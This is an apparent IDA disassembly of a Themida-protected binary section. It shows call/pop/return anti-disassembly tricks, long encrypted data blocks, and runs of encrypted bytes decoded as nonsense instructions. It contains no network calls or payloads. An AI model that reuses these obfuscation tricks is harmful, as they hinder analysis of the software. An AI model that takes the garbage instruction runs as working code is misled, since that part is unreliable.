loc_5BE2E7:				; CODE XREF: Themida_:005BE2A2j
		add	al, 81h
		inc	esp
		and	al, 4
		adc	al, 0
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		inc	eax
		push	eax
		retn
; ---------------------------------------------------------------------------
		db 69h
; ---------------------------------------------------------------------------
		mov	dword ptr [ebp+6A80BBDh], 0
		push	0
		push	ebx
		call	sub_5BE309
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE309	proc near		; CODE XREF: Themida_:005BE301p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5BE309	endp

; ---------------------------------------------------------------------------
		pop	esi
		mov	bx, cx
		push	dword ptr [ebp+6A801B1h]
		push	0
		push	eax
		call	sub_5BE32E
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE32E	proc near		; CODE XREF: Themida_:005BE326p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_5BE32E	endp

; ---------------------------------------------------------------------------
		dw 0F74Bh
		db 0A6h	; ¦
		db  27h	; '
		db 0CBh	; Ë
		db 7Dh
		dd 13E8FBh, 2FF00000h, 0EF489720h, 0D055C73Eh, 905D7291h
		dd 0D2F0BBCEh, 0D5950341h, 5F06A830h, 0FFC7B70Fh, 0A820DD95h
		dd 25953106h, 6A06A80Bh, 3195FF00h, 8B06A81Bh, 0C76CEBC0h
		dd 687961CAh, 8C50A3BDh, 38D76180h, 71A32C26h, 3159E76Eh
		dd 0C16C64FCh, 56D3BA0h, 5BB5F5EFh, 6E7EBC3Ch, 8FC45F56h
		dd 1B8ED8D1h, 507625B6h, 95EB6459h, 66030DC4h, 12372D5Ch
		dd 2B6658h, 0DE320947h,	9259F66Eh, 0F62A3C69h, 33DA9F3Dh
		dd 0CD8C6B9Bh, 0E4BDDB25h, 9CEE46F9h, 62A25EBCh, 0CA38BB56h
		dd 296DD7FCh, 0E86AECEDh, 5, 0A9F794A2h, 0DB86640h, 958B59E6h
		dd 6A81549h, 62F5C181h,	6E90000h, 3D000000h, 0B72A3F10h
		dd 18816886h, 9D290000h, 6A82F85h, 0DA81665Fh, 31FF3761h
		dd 1F89BD89h, 605E06A8h, 2840Fh, 61600000h, 2E218D8Bh
		dd 816106A8h, 42298DEEh, 0AE800h, 510A0000h, 16FCFB83h
		dd 0A044C486h, 2649850Bh, 815806A8h, 4D37F7F6h,	0A8F68132h
		dd 8B7AF416h, 0A801F585h, 51318906h, 5849F780h,	0F9E1E981h
		dd 0D08011CCh, 0DDC18121h, 0F11CCF9h, 1E8Ah, 85236000h
		dd 6A80151h, 11E9h, 75FDC300h, 976AC6Ah, 45905A93h, 2575E63Ch
		dd 4F611BF3h, 13850Fh, 0B7560000h, 32E95AD2h, 39000000h
		dd 0D9374A93h, 3F19D413h, 0AE9BDh, 65FA0000h, 0C842792Bh
		dd 0E835CAE3h, 0FFFF51E9h, 458090FFh, 16A482Ch,	0C6D0D4FCh
		dd 7D45B376h, 0AE5FA085h, 0D90CEBFCh, 9B7A3653h, 0FF35C4B1h
		dd 0E918E5F7h, 646h, 63AE9h, 21680F00h,	50153AE5h, 86CF69CAh
		dd 0B6F39F00h, 0E3AECF70h, 7999D8A7h, 0AE1195D8h, 0DA45C18Ch
		dd 0CB7F3BAh, 29A2069h,	216AAED8h, 1258B607h, 155CFF35h
		dd 3C751788h, 410C2EF7h, 0D6F406DCh, 0FCE28472h, 3C1558F9h
		dd 5F1233FCh, 7D3051D2h, 86C36F30h, 90D97F60h, 89C01A13h
		dd 0E34CC944h, 45DE4DEBh, 0F46E223h, 139089A2h,	7BB8FD92h
		dd 0DB902B2h, 75495FBh,	5FC46FB6h, 5FEBA2C6h, 0F79554F4h
		dd 9E58C5BEh, 32A153A7h, 8A175AFCh, 0EF347919h,	93228328h
		dd 30AAB00h, 709E2C65h,	30EB19E6h, 0CCDD420Fh, 451C1532h
		dd 8E540626h, 0E4342D52h, 9C4AF123h, 50E6086Ah,	0CC51FA39h
		dd 42783153h, 89C47208h, 5A29A1E4h, 0A6D418C8h,	0D436E82h
		dd 953E8414h, 0F571BEF7h, 0F325680Ah, 0BCABFE75h, 0CC89A56Ch
		dd 0D491BE67h, 0C263C84Fh, 4CD198BBh, 2B33625Bh, 0AC3F7B8Dh
		dd 10D6CBCh, 73E3710Ah,	51C77072h, 123239FAh, 2044AF5Bh
		dd 45D3C469h, 8DAE11FFh, 7DDF68C0h, 19FA20C6h, 0D49DBB7Ah
		dd 33655E4Fh, 64A70235h, 0CA57C073h, 64A70400h,	59BAA073h
		dd 0A0EB838h, 0F87364A7h, 5932665Fh, 6EEDAD8h, 1309D6D3h
		dd 12000000h, 703559BAh, 98DD7233h, 8F29021Bh, 3C300h
		dd 5DFF1B00h, 72168F14h, 4248F3Bh, 0F5EEA7C5h, 0DD4AC0A3h
		dd 662F4D54h, 75DD7F20h, 52155A65h, 0AB08E1E4h,	7A3F54BFh
		dd 15B4E435h, 20AAB0EFh, 36107562h, 0F853C5B8h,	880C3037h
		dd 58353A7Eh, 362F08AFh, 60294FF0h, 96BC27C3h, 0DB5D4ED3h
		dd 4F7B3E54h, 1A285C0Dh, 48E02551h, 0F6BF14DBh,	0BA0049EFh
		dd 9AE14B40h, 7A37582Eh, 0AEE3832Ch, 0BFFA9778h, 5B551B27h
		dd 66B27823h, 377A1C85h, 0E30BEAh, 0B3FA9A5Fh, 0D44455DAh
		dd 8FAFB67Fh, 38D224C2h, 0B85F2615h, 4FD0BAFEh,	0D4h, 0E9ABE76Ah
		dd 0C01D1B5Dh, 4EEE5FECh, 20812E07h, 4DF6347Dh,	3D3D622Bh
		dd 0AF5800FDh, 4B52D3F8h, 7D26642Dh, 0BF2371DDh, 32F1A353h
		dd 284BD459h, 0E4513C61h, 5F12343Bh, 0E22748ABh, 84140D40h
		dd 0B8F5953Eh, 989AA7Bh, 57FBBBFFh, 0D96389AFh,	0AF57FBE1h
		dd 0A69F88A3h, 0CC85A879h, 329ABE67h, 0A1900BE2h, 0DA4730B5h
		dd 3F642949h, 69CA63EEh, 258E27EAh, 0F5317C1Eh,	0CF82A40Fh
		dd 0E8A5C669h, 7CFF244Bh, 940D92D7h, 2576BBFEh,	41EEA3C4h
		dd 382763A5h, 321DAF58h, 0FE7D268Fh, 0B8C26872h, 0AF583880h
		dd 0D44FE942h, 6E23444Bh, 9CD577D8h, 37D0D717h,	3AB7AF58h
		dd 86A53779h, 6AAED806h, 58AF57E7h, 8118E7FFh, 8EAE71A7h
		dd 3F642D4Fh, 8AB1F5EEh, 8F145DFFh, 0F23F7616h,	161D862Fh
		dd 11EB3F76h, 0AF57DBF2h, 25678D39h, 0AF57DBE5h, 702474DFh
		dd 12DFD785h, 0FFFF0460h, 0F5997AFFh, 0C93A73B0h, 6FB8E5A8h
		dd 30BAE2C9h, 6F04B9EDh, 5A94852Ah, 0C7D4BDEh, 0ABFC2168h
		dd 291ABA0Dh, 0BC6A430Ah, 6E1BF03Ah, 56C2A633h,	3F14668Ch
		dd 0B0A43FE0h, 8C63E533h, 76B60070h, 298A50DDh,	4BD44409h
		dd 5A456128h, 0FB2C7134h, 0C96CD7BDh, 0B5C72380h, 916941E9h
		dd 278820E6h, 40E14E0Bh, 79EFB21Eh, 0E12E526Fh,	58FAAB08h
		dd 95028815h, 0BD2E8D0Ch, 74EEDF4h, 347D2083h, 0BF286FEFh
		dd 0C865B600h, 0FC3D6067h, 0EE3C155Ch, 0C26F2645h, 0BA60DB79h
		dd 0A8EC1500h, 0C644EFBCh, 0BE6CD745h, 5836EA0Ch, 8B2D8C3h
		dd 0C3583710h, 2ABCF593h, 0B77DC901h, 48D5A9FDh, 0AB14D25Fh
		dd 672E4E8Bh, 0A008E13Ah, 96145DFFh, 0AFCE0F2Dh, 7760B9E6h
		dd 0B4BA3C2Ah, 6B46A225h, 0D4904534h, 0ED744E1Ah, 788ABD4Bh
		dd 7F193FF2h, 1538E936h, 0BB10D75Ch, 0D11F7BFAh, 781911ABh
		dd 0A1EB3FF2h, 8F259635h, 0E3352E14h, 0FCA0A708h, 0ACCE71B5h
		dd 1986CF69h, 5C8A1700h, 9909D91Ah, 0A90F0870h,	822F6606h
		dd 0E74C0121h, 0C855103Eh, 3C43EC49h, 0D0C9561Bh, 51D2B9E7h
		dd 45D85541h, 0E6B082h,	0FF8B0000h, 30931752h, 3E7A8C08h
		dd 4AF57D7h, 0D29BBA2Bh, 27635C4Dh, 7793D67Ch, 728E98Ch
		dd 0DBB4E54Ah, 69D34556h, 37722083h, 0D81D3EE1h, 64B5FAB7h
		dd 0F3943F8Bh, 0D05D1836h, 8D66234Fh, 8DAD1694h, 0BBD97AC0h
		dd 680BB4F2h, 781A8521h, 0D72EBD35h, 0AA1F0B2Ch, 1C5E840Eh
		dd 0D577E91Bh, 0AF5803D5h, 3B4A84AFh, 0CB69DA18h, 0AC0C1D82h
		dd 84A76203h, 766F2645h, 0B6B4109Dh, 37612C4Dh,	0A8CB54h
		dd 0D3D286A4h, 24896273h, 0D92D77Bh, 76BBFE94h,	0DA59DAF3h
		dd 35159E37h, 7A959537h, 684BAF58h, 0E12F89C0h,	8F74F036h
		dd 4EA33553h, 0B1780CB6h, 3BBBFF07h, 7981AF58h,	676F9ADh
		dd 0CE6AC505h, 8B41h, 69916400h, 0AF57D734h, 1E83CE6Fh
		dd 63558ECh, 0F86911CAh, 3D901D54h, 0A968E748h,	6BD0A30Ch
		dd 0F31752FFh, 0D6F73355h, 62CDAF57h, 45E34C36h, 7915BE0Ch
		dd 0E1DA9FB4h, 2D6D9FC5h, 17AF57D7h, 0E816FC3Ch, 0D7003842h
		dd 69C2AF57h, 723F60CFh, 0A7EA8B34h, 44738563h,	96603293h
		dd 179CD577h, 248B2D06h, 58FB4F02h, 66497D34h, 6C216EC6h
		dd 860CF751h, 1E810BADh, 6FF0367Fh, 0Ch, 0AF30BA4Ah, 6A40AFF7h
		dd 0A29959DFh, 8C1158FFh, 0F4397013h, 0E340092Bh, 0C06D2042h
		dd 2E733E5Fh, 1499D475h, 7DA2E78Bh, 60CD84A4h, 4AD792BFh
		dd 5FD368FAh, 4890000h,	0E1895124h, 4C181h, 0E9810000h
		dd 4, 5C240C87h, 68241489h, 5D6Ah, 57241C89h, 852476BFh
		dd 0BDB85026h, 2151716Bh, 0E78158C7h, 2D78615Ch, 912C781h
		dd 0EF817922h, 7272DE36h, 815FFA89h, 4ECh, 24248900h, 4240483h
		dd 8B8505Bh, 1000000h, 0D68956D8h, 585E3089h, 5B2434FFh
		dd 0FF04C483h, 835A2434h, 0A3E904C4h, 19FFF92Ch, 0D7F5A187h
		dd 6B3D6A6Ch, 0B8F765DEh, 6AF50A4h, 0D38BC503h,	75FDED55h
		dd 76F67A5Eh, 56E669A4h, 1BFD49BCh, 79FD2124h, 0BEFD210Ah
		dd 1CFD211Ch, 0EFD2194h, 0E4FD2151h, 0CDFD21B3h, 0A2FD21C2h
		dd 99FD217Ah, 0C4FD2126h, 9DFD210Bh, 0F6FD211Ch, 53FD2196h
		dd 30FD2152h, 1DFD21B0h, 0D9FD21C1h, 2DFD2178h,	9DFD2124h
		dd 95358A25h, 76D6A222h, 5CDE714Ah, 5CF44BBDh, 75FD7A5Ah
		dd 75F57227h, 74FD7997h, 73FD78CBh, 74F57DEDh, 74FC7BF3h
		dd 75FC7B78h, 75FD7ABCh, 76FD7A5Eh, 75A61832h, 75A619BBh
		dd 75FD7ACBh, 74FC7BE4h, 74FC7BF3h, 75F8B290h, 0F0701ABCh
		dd 73522F15h, 247FFFA6h, 0F0707C38h, 73522FAAh,	24BFFF6Ch
		dd 0F0707C5Dh, 73522FE6h, 2483FF35h, 0F0707CF1h, 73522ED0h
		dd 24BBFF1Eh, 0F0707C64h, 73522E5Bh, 24B7FF7Bh,	0F0707CD6h
		dd 735229E0h, 24B3FFD7h, 0F0707C80h, 735229F9h,	24AFFF42h
		dd 0F0707C4Ah, 73522976h, 24ABFFF0h, 0F0707C13h, 73522981h
		dd 249FFFA6h, 0F0707C38h, 73522960h, 24A7FF6Ch,	0F0707C5Dh
		dd 735229B3h, 24A3FF35h, 0F0707CF1h, 735229F0h,	249FFF1Eh
		dd 0F0707C64h, 73522EFCh, 248FFF7Bh, 0F0707CD6h, 73522E84h
		dd 248BFFD7h, 0F0707C80h, 73522ECCh, 2487FF42h,	0F0707C4Ah
		dd 73522E56h, 249BFFF0h, 0F0707C13h, 73522E85h,	2497FFA6h
		dd 0F0707C38h, 73522FBDh, 2493FF6Ch, 0F0767C5Dh, 73557ACCh
		dd 2446FF35h, 0F0767CF1h, 735572F2h, 2442FF1Eh,	0B69C7C64h
		dd 9D11F1B0h, 75FD7AF2h, 0BA17FB23h, 25FBD5EEh,	0FDF53FD5h
		dd 0DAACC0ADh, 0B7342291h, 23AC7ACFh, 20AD29B7h, 75FD7A1Ah
		dd 987C2779h, 7352284Ch, 24BCFFA0h, 0C87D7C80h,	73522BD6h
		dd 0C5B409CFh, 0B54B75E4h, 3589BAF9h, 2442EF86h, 0FEBD7C13h
		dd 7A452B96h, 8AFD7A2Fh, 0DAACC502h, 3748F7CDh,	0F8FBD5B4h
		dd 9D50FCC6h, 75FD7E4Bh, 76456FCFh, 8AFD7A5Eh, 0DAACC5BAh
		dd 3748F791h, 0F8FBD59Ah, 8A50FCD1h, 0BC1F2322h, 24BCF787h
		dd 2DA07C13h, 2CA32005h, 776D92ECh, 0CD4D7A97h,	8A5779C1h
		dd 0DAACC170h, 9D3ED1F4h, 75FD7807h, 0CD9BC2DAh, 0DE9B5954h
		dd 2446EFD0h, 0DE9B7C38h, 77959208h, 360B7AE5h,	6E8872F3h
		dd 2446EF86h, 0C54D7C13h, 8AAD7954h, 0DAACC1BAh, 0F69B2091h
		dd 7E9B7E2Bh, 0B6561C27h, 75FF6B1Ah, 4E152979h,	2FFD7ABEh
		dd 7B89A065h, 913D59A5h, 0F5DF7094h, 0FE4DBA07h, 9D3ED183h
		dd 75FD7B00h, 77E1922Ah, 4EA77ABCh, 0C5120E84h,	0A916D049h
		dd 75FCA77Fh, 74BE8CCBh, 26D30FEDh, 75FF7B1Ah, 360B2079h
		dd 548872BDh, 6889A065h, 913D59A5h, 0F5DF7094h,	0FF4DBA07h
		dd 0CE6885B5h, 2FFBD5A3h, 51FD5F1Fh, 133F71DAh,	0E94DB9F5h
		dd 74BD9285h, 0F44D7A97h, 74359261h, 2D157AE5h,	0DEFD7AF2h
		dd 75FC5791h, 0DF60CABCh, 0DF61CA9Dh, 75FC5BC7h, 13451C97h
		dd 9D561C4Ah, 75FD7B43h, 75FD4C1Ah, 9D561C79h, 75FD7BB6h
		dd 0B657E7EEh, 9D57E69Fh, 75FD7A69h, 75FCF323h,	74BE8CE5h
		dd 0C5F20FFAh, 6515D0F9h, 0DFFD7ABCh, 7DF99EDEh, 0AA158448h
		dd 0C5FD7A97h, 0CD3ED056h, 75FD7AE2h, 2442EF0Dh, 0C0707CD6h
		dd 73522B3Ah, 7F518A5Dh, 0E002D02Ch, 73522B2Ch,	74E59208h
		dd 254D7AE5h, 9D5779F8h, 8A02844Bh, 75FC4354h, 7FA5CA5Eh
		dd 0C53ED02Ch, 274DD0C7h, 8BE19261h, 0CD9B851Ah, 0DE9B4BFDh
		dd 8A036B91h, 0DFA7CA43h, 0B65722EEh, 2257929Fh, 750C923Ch
		dd 0FEA77ACBh, 0F63F5122h, 77747E1Ah, 8A008B91h, 75059243h
		dd 2D4D7A5Eh, 0B6577925h, 24C5FF69h, 0C87D7C64h, 73522BDDh
		dd 0F8EC0FF3h, 0DAACD0FCh, 61152ABAh, 9DFD7A5Ch, 75FD781Bh
		dd 9D571A27h, 8A028775h, 8A00C30Dh, 0DF9CCA0Dh,	24C5F787h
		dd 0C87D7C13h, 73522B66h, 0F8F10F2Fh, 0DAACD012h, 0DE152ACDh
		dd 0B6FD7AE4h, 75FD7E4Ah, 0CA688579h, 0F8FBD5EDh, 0DAAB7DC3h
		dd 6DF9F029h, 9C4DB93Dh, 9D562D61h, 75FD7A8Eh, 5E3AF1A8h
		dd 7115F9BBh, 8A3E7835h, 0DAACC1CBh, 514ACE29h,	0C1FF0E96h
		dd 13F2CA74h, 75C9924Eh, 9DAE7AF2h, 75FD7A27h, 0B5FEF0E6h
		dd 0B5F179BEh, 0B6577825h, 2446EF68h, 917D7C64h, 0F539FAEAh
		dd 0DE9B7542h, 5A15D12Eh, 2F028541h, 0B7D6BDD5h, 0FCF992ACh
		dd 7345B995h, 8AFD7ACBh, 0DAACC570h, 0EB60F7F4h, 0F8FBD528h
		dd 0CD3E39A0h, 75FD7A4Eh, 2442EFD0h, 0B57E7C38h, 8935F1CEh
		dd 2446EF1Ah, 97577C5Dh, 0BE15B98Eh, 0FF028543h, 72D97B1Dh
		dd 76778E5Ah, 75FC6C7Fh, 0B61608CBh, 8908831Dh,	0F611F1A7h
		dd 9D9D86BDh, 75FD7ABCh, 6217FB04h, 0FCFBD579h,	0CF7D86EAh
		dd 73522B71h, 0EC7975E5h, 0CDFD7AF2h, 75FD7A73h, 2442E843h
		dd 0FCBD7CF1h, 0DAACB9ADh, 0F835F191h, 0DAAB9179h, 0CE6F85E3h
		dd 0FDFBD5A3h, 801F3C7Fh, 75FD6D04h, 0B67F795Eh, 35FBD57Eh
		dd 2322E01Ah, 0B67E7C64h, 22FEF3E1h, 75FD644Bh,	0B6777979h
		dd 0F8FBD5EDh, 0DAABB7ECh, 2B598929h, 75FD722Fh, 0CA6F85CBh
		dd 0F6FBD5B4h, 85897E0Ah, 72447C71h, 7DFD7ABCh,	0C3F24B5Ah
		dd 761EBBF7h, 75FD742Eh, 44E172CBh, 75FD765Ch, 44F972F2h
		dd 75FD61C0h, 44F972BCh, 75FD66E7h, 44F9722Fh, 8A015B7Fh
		dd 8980F334h, 8980F184h, 9DADB93Bh, 75FD7A7Fh, 1102229Ch
		dd 0FCA58E7Ah, 0E9055E6Bh, 89D93E16h, 67C92CB3h, 0B6AD3A78h
		dd 75FD7AF2h, 75FD7A79h, 0FEA87ABCh, 75151AB2h,	2FFD7A2Fh
		dd 23039016h, 0CF707C64h, 73522B22h, 0CCF50F79h, 75FD7A71h
		dd 0BC9CDE4Fh, 26FD7E9Ch, 243AE7A2h, 497D7C38h,	71887BD3h
		dd 771683BEh, 203E82A9h, 9D9D96F2h, 75FD7ABCh, 4217FB04h
		dd 0F8FBD578h, 0DAACBD25h, 7D80F1CDh, 75FD725Ch, 145989F2h
		dd 75F9B8B0h, 0B240F7DCh, 46FBD50Fh, 75F5C3EFh,	0DF0E7A97h
		dd 0F89DB9AAh, 0DAACBD58h, 74C2FBF4h, 0FC7B78h,	7182FBB0h
		dd 74FC7B5Fh, 9E04795Ah, 0B69C8296h, 0B240F7ABh, 0CDFBD5B4h
		dd 75FD7AF3h, 75FD72C0h, 145789BCh, 0FE3DF19Dh,	0A178F7EFh
		dd 8AFBD5C6h, 0E9CA8BD0h, 2Ah, 2404C7h,	0E8000000h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 6AF57B7h
		mov	eax, [esp+4]
		mov	[ebp+6A830BDh],	eax
		mov	eax, 0
		lea	ecx, [ebp+6A84FAFh]
		jmp	ecx
; ---------------------------------------------------------------------------
		mov	eax, 6754h
		dec	dl
		push	edi
		push	ecx
		or	ch, [eax-75B1262Ch]
		xchg	eax, edx
		push	ecx
		or	ch, [eax+75EAD5ABh]
		push	56h
		or	ch, [eax-75B1212Eh]
		mov	edx, 8F57AE5Dh
		fimul	word ptr [esi-76h]
		pop	edx
		push	edi
		or	ch, [eax+75EAD5ABh]
		sub	eax, 0FDA80A57h
		fisttp	word ptr [esi-76h]
		scasd
		push	edi
		or	ch, [eax-75B12381h]
		and	[edx+ecx-58h], edx
		stosd
		aad	0EAh
		jnz	short loc_5BF24F
		das
		aam	0ADh
		or	eax, 0C0031385h
		jle	short near ptr loc_5BF239+1
		pop	es
		push	edx
		cmpsd
		nop
		stc


loc_5BF239:				; CODE XREF: Themida_:005BF232j
		sbb	al, 0Dh
		push	edi
		and	ecx, edx
		retf	2542h
; ---------------------------------------------------------------------------
		inc	ebx
		das
		aam	62h
		or	eax, 0C0031385h
		inc	esi
		push	es
		pop	es
		push	edx
		cmpsd


loc_5BF24F:				; CODE XREF: Themida_:005BF228j
		nop
		test	al, 1Fh
		or	eax, 0C6D12157h
		inc	edx
		and	eax, 0D1D42F43h
		push	cs
		test	[ebx], edx
		add	eax, eax
		push	edx
		push	es
		pop	es
		push	edx
		cmpsd
		nop
		inc	esp
		pop	ds
		or	eax, 0D2D12157h
		inc	edx
		and	eax, 0BAD42F43h
		jnz	near ptr 5F1BF58Eh
		push	es
		pop	es
		push	edx
		cmpsd
		nop
		rcr	dword ptr [esi], 1
		or	eax, 2ED12157h
		dec	ebp
		and	eax, 34D42F43h
		jnz	near ptr 0AB1BF5A6h
		or	[edi], eax
		push	edx
		cmpsd
		nop
		push	edi
		push	ds
		or	eax, 26D12157h
		dec	ebp
		and	eax, 0B6D42F43h
		or	[ebp-4D3FFCEDh], al
		or	[edi], eax
		push	edx
		cmpsd
		nop
		fstp	qword ptr [ecx]
		or	eax, 3ED12157h
		dec	ebp
		and	eax, 12B8C343h
		push	eax
		sub	dl, ds:0D24ECEDFh
		insb
		test	al, 4Ah
		std
		mov	al, [ebp-5Eh]
		push	ecx
		repne aad 0C0h
		stosb
		shr	dl, cl
		movsb
		xchg	eax, esi
		in	eax, dx
		test	al, 2Ah
		adc	eax, 2429458Ah
		mov	al, ds:0B496E367h
		mov	edx, 54A1D5ADh
		sub	dl, ds:5564C6CBh
		inc	ecx
		mov	edx, 0CE75EAD5h
		arpl	[esi-42DD76C6h], bp
		mov	word ptr [edx+eax*2+2211AB53h],	es
		jmp	far ptr	0ABA4h:245D55FFh
; ---------------------------------------------------------------------------
		dw 9C3Ah
		dd 0DAC3B9CFh, 0D7E3A8EDh, 0DAF74586h, 0E9EED744h, 59D7CEEAh
		dd 0D2262923h, 51A2B9CFh, 0AD6C54A8h, 51A24162h, 0BFEA6603h
		dd 0DB2FEE27h, 1385064Dh, 1129475h, 0F0A0D902h,	0AEA4EAD8h
		dd 51A1EC79h, 0DC0941AEh, 0BA78B122h, 3773BA8Ch, 732ADF10h
		dd 0B428C821h, 0EA2CFBFAh, 152BFD5Bh, 9881508Ch, 0FEF0A000h
		dd 0A5FBABAEh, 2C89EFD2h, 0E957DDA4h, 0ADE7CEEBh, 15229661h
		dd 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 6AC0D5F2h, 0DAA4EAD3h
		dd 68A15CDDh, 0ADE78286h, 152A54A8h, 0E430BACCh, 9E2CFCA8h
		dd 0FC69CE52h, 0A5B99783h, 0FA31EFE2h, 0F0A0D9F9h, 0AEA4EAD8h
		dd 949A0D79h, 551A2320h, 8481328Ch, 5DDF6E21h, 74D62921h
		dd 985E0001h, 402A5C6Ah, 9521A901h, 15C23454h, 0BA2458Ah
		dd 4CFCBE29h, 24294325h, 1957DFA0h, 515E004Dh, 532A54A8h
		dd 5117D775h, 0CDA15200h, 0FC69CE19h, 0A5B9979Bh, 0FA31EFE2h
		dd 0F0A0D9F9h, 0AEA4EAD8h, 949A0D79h, 651A2320h, 8481328Ch
		dd 5DDF6E21h, 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h
		dd 60A13454h, 5DDFCE82h, 15D6116Fh, 0FDA2458Ah,	1DC9953Bh
		dd 919197B9h, 38F2DE04h, 51A2454Ah, 1AD5A828h, 51A25E0Eh
		dd 1523EDA8h, 0A055458Ah, 9025862Dh, 51A24586h,	7332A328h
		dd 37AA8E4Bh, 0BE4C9723h, 0D8AE38A1h, 9E4BA8D5h, 936BB9CFh
		dd 9E7F54A0h, 0AD66C666h, 1D5FDFC8h, 96AE3801h,	152AA8EDh
		dd 0C20E458Ah, 2622B769h, 0FD627658h, 0D5078C22h, 0D1A2458Ah
		dd 9125AB54h, 51A24593h, 152A5D11h, 0D453B28Ah,	1FAF5B7Ah
		dd 0E0A2458Ah, 93E25610h, 9191EF4Bh, 19577F03h,	305E3803h
		dd 0DCD61123h, 4A24D48h, 0D1A9B823h, 24292576h,	1957DFA0h
		dd 515E004Dh, 0B92A54A8h, 0B2229D00h, 85E1D4A7h, 0DC088600h
		dd 0BA78B122h, 0E173BA8Ch, 9FA7FEF8h, 570D176Fh, 0D6A08557h
		dd 5DDF6E20h, 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h
		dd 60A13454h, 5DDFCE82h, 15D6116Fh, 0E9A2458Ah,	152A54AFh
		dd 597FD775h, 45265200h, 0B428C820h, 0EA2CFBFAh, 0FB2BF55Bh
		dd 3186949Bh, 59622E85h, 0A58050ACh, 2C89EFAEh,	0E957DDA4h
		dd 0ADE7CEEBh, 15229661h, 0D24ECEDFh, 9E4AA86Ch, 2C294DFFh
		dd 0E96F93A4h, 51A2458Ah, 87D5FE04h, 570A453Fh,	17868C23h
		dd 0DB2FEF49h, 1385064Dh, 0E9C49475h, 0BE4CBD28h, 7A088600h
		dd 68A358D5h, 14292476h, 1DE89D54h, 0BD29108Ah,	75D6902Bh
		dd 0DAAA3001h, 50ED58D5h, 51A24576h, 0EA80F8A8h, 0F9A2F018h
		dd 0B9E2DFAEh, 0DC088558h, 0BA78B132h, 3771BA8Ch, 73E39410h
		dd 0FB63CF21h, 9C262983h, 0DAC3B9F7h, 0D7E3A8EDh, 0DAF74582h
		dd 0E9EED744h, 59D7CEEAh, 0D2262923h, 51A2B9CFh, 0BF8654A8h
		dd 5117D775h, 0DDA15200h, 0FB637726h, 47CFCE25h, 825D4325h
		dd 0E4AAECCEh, 9028EEECh, 19577F02h, 305E3803h,	0DCD61123h
		dd 4A24D48h, 0D1A9B823h, 24292576h, 1957DFA0h, 515E004Dh
		dd 732A54A8h, 376B7732h, 0F0B0D903h, 0AEA4EAD8h, 9592327Bh
		dd 0FD09234Bh, 6801FE04h, 0ADDFCC86h, 0E96FDFC9h, 51AA8743h
		dd 96C6DFFDh, 0DAC2B94Eh, 68A15CDDh, 0ADE78286h, 152A54A8h
		dd 0B824FDECh, 8FA7FFCEh, 570D176Fh, 0A09A8757h, 0FB0E0320h
		dd 47CFCE25h, 825D4325h, 0D8ACECCEh, 2C89EEECh,	0E957DDA4h
		dd 0ADE7CEEBh, 15229661h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah
		dd 0B2C0D5F2h, 96A4EAD6h, 152AA8EDh, 2429458Ah,	1957DFA0h
		dd 5E917926h, 152A1E2Ch, 5E89798Ah, 152A162Ch, 5ECA798Ah
		dd 152A492Ch, 5E13798Ah, 152A382Ch, 5EF2798Ah, 152A5C2Ah
		dd 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah, 60D554A8h, 59D7BA86h
		dd 42F6CE25h, 0DCF14325h, 0BA72E732h, 0D871BA8Ch, 42C3A8EDh
		dd 0AEA2458Ah, 60D558DDh, 0BD38C882h, 462CFBFFh, 911DF07h
		dd 0C6D55207h, 0B85E0003h, 152A5492h, 0AEAE3075h, 8FA75CDDh
		dd 570D1272h, 0A6B0D9FBh, 0AEA4EAD2h, 0E96FDD7Bh, 51A25863h
		dd 195FABA8h, 0DCAA3075h, 0BA725032h, 0CB2F168Ch, 13850C1Bh
		dd 142B9675h, 152ABD54h, 0DAC3458Ah, 0D7E3A8EDh, 44BA4582h
		dd 8D000030h, 0AF5E038Dh, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 0FCCDAB13h
		dd 8D89C38Bh, 6A805B9h,	6E9h, 3E80C300h, 0C7082152h, 0A8146985h
		dd 6F9C06h, 1DD08100h, 0C7529C1Ch, 0A80BBD85h, 6, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 0F47834F2h, 0B5FFF750h, 6A8298Dh, 5B59E781h,	95FF1B23h
		dd 6A820DDh, 6CEB9CB8h,	0FF006A52h, 0A81B3195h,	0EBC08B06h
		dd 54D72D59h, 65174A73h, 0B5E1CCE6h, 8EF8CCAFh,	13872B7Bh
		dd 0AAE45CAh, 35B5472Ch, 3E269AC9h, 7F8229B8h, 5F2E4145h
		dd 61D8CA2Ch, 9E772A7Fh, 5EF71322h, 6CD62C0Bh, 178C555Bh
		dd 0C13124C7h, 5E4AC833h, 63B1D760h, 0E763490Fh, 0F9417674h
		dd 4254A8B9h, 4A08AD55h, 1FE99F9Eh, 42000000h, 2D30A7h
		dd 6 dup(0)
		dd 24E90000h, 75000005h, 0A40F9BD2h, 0D37CCA8Fh, 5AEFCB5h
		dd 359E2C69h, 46CD5914h, 0F3BEDF33h, 276A0CB7h,	551C40E3h
		dd 86CF6ED1h, 446A400h,	0B6073504h, 7152B8FEh, 0B1098DDh
		dd 0F1155CFFh, 0AC266F0Eh, 7C4C1F0Eh, 2E9D1B2Eh, 0D99D475h
		dd 0B0FB9E7h, 0F9AF58BFh, 3655DA5Eh, 0D271327Fh, 0E7C8169Bh
		dd 0FFA00841h, 0B3FE9F52h, 0A7CC55DAh, 41E4BDE2h, 5BFAAB08h
		dd 359C8D12h, 15981798h, 55F8FFA0h, 7258E1Ch, 1137984Eh
		dd 0C96AD058h, 0E4BDE2ABh, 5FA20F42h, 0E3AD76h,	0B1F89B5Eh
		dd 0D6425BD8h, 24622B49h, 7919D87Bh, 14D65B34h,	0AF58BF11h
		dd 0E9B37C7Bh, 0BF013943h, 68C3AF58h, 3E7854C0h, 589F12DFh
